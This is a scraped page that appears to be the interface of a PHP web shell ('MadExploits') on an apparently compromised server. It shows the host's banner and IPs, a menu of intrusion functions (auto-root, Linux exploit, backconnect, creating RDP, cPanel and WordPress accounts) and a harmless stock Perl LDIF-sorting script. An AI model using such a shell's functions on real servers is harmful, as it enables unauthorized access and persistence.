Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-LDAP-0.56 /
contrib /
[ HOME SHELL ]
Name
Size
Permission
Action
LWPsearch.pl
2.68
KB
-rw-r--r--
README
1.2
KB
-rw-r--r--
dot.tklkup
1.77
KB
-rw-r--r--
isMember.pl
9.46
KB
-rw-r--r--
jpegDisplay.pl
7.08
KB
-rw-r--r--
jpegLoad.pl
7.27
KB
-rw-r--r--
ldapmodify.pl
1.43
KB
-rw-r--r--
ldifdiff.pl
9.63
KB
-rw-r--r--
ldifsort.pl
2.69
KB
-rw-r--r--
ldifuniq.pl
1.59
KB
-rw-r--r--
printMembers.pl
6.48
KB
-rw-r--r--
recursive-ldap-delete.pl
1
KB
-rw-r--r--
schema2ad.pl
8.91
KB
-rw-r--r--
simple-proxy.pl
2.83
KB
-rw-r--r--
tklkup
170.28
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ldifsort.pl
#! /usr/bin/perl # $Id: ldifsort.pl,v 1.9 2005/04/03 20:20:24 subbarao Exp $ =head1 NAME ldifsort.pl - Sorts an LDIF file by the specified key attribute. The sorted version is written to standard output. =head1 DESCRIPTION Sorts an LDIF file by the specified key attribute. =head1 SYNOPSIS ldifsort.pl B<-k keyattr> [B<-andc>] file.ldif =over 4 =item B<-k> Specifies the key attribute for making sort comparisons. If 'dn' is specified, sorting is done by the full DN string, which can be composed of different attributes for different entries. =item B<-a> Specifies that attributes within a given entry should also be sorted. This has the side effect of removing all comments and line continuations in the LDIF file. =item B<-n> Specifies numeric comparisons on the key attribute. Otherwise string comparisons are done. =item B<-d> Specifies that the key attribute is a DN. Comparisons are done on a DN-normalized version of attribute values. This is the default behavior if 'dn' is passed as the argument to B<-k>. =item B<-c> Specifies case-insensitive comparisons on the key attribute. This is the default behavior if 'dn' is passed as the argument to B<-k>. =back =head1 AUTHOR Kartik Subbarao E<lt>subbarao@computer.orgE<gt> =cut use Net::LDAP::Util qw(canonical_dn); use MIME::Base64; use Getopt::Std; use strict; my %args; getopts("k:andc", \%args); my $keyattr = $args{k}; my $sortattrs = $args{a}; my $ciscmp = $args{c}; my $ldiffile = $ARGV[0]; die "usage: $0 -k keyattr [-n] [-d] [-c] ldiffile\n" unless $keyattr && $ldiffile; $/ = ""; open(LDIFH, $ldiffile) || die "$ldiffile: $!\n"; my $pos = 0; my @valuepos; while (<LDIFH>) { my $value; 1 while s/^($keyattr:.*)?\n /$1/im; # Handle line continuations if (/^$keyattr(::?) (.*)$/im) { $value = $2; $value = decode_base64($value) if $1 eq '::'; } $value = lc($value) if $ciscmp; push @valuepos, [ $value, $pos ]; $pos = tell; } sub cmpattr { $a->[0] cmp $b->[0] } sub cmpattrnum { $a->[0] <=> $b->[0] } my %canonicaldns; sub cmpdn { my $cadn = ($canonicaldns{$a->[0]} ||= lc(canonical_dn($a->[0]))); my $cbdn = ($canonicaldns{$b->[0]} ||= lc(canonical_dn($b->[0]))); $cadn cmp $cbdn; } my $cmpfunc; if ($args{d} || lc($keyattr) eq 'dn') { $cmpfunc = \&cmpdn } elsif ($args{n}) { $cmpfunc = \&cmpattrnum } else { $cmpfunc = \&cmpattr; } my @sorted; @sorted = sort $cmpfunc @valuepos; foreach my $valuepos (@sorted) { seek(LDIFH, $valuepos->[1], 0); my $entry = <LDIFH>; if ($sortattrs) { $entry =~ s/\n //mg; # collapse line continuations my @lines = grep(!/^#/, split(/\n/, $entry)); my $dn = shift(@lines); print "$dn\n", join("\n", sort @lines), "\n\n"; } else { print $entry; print "\n" if $entry !~ /\n\n$/; } }
Close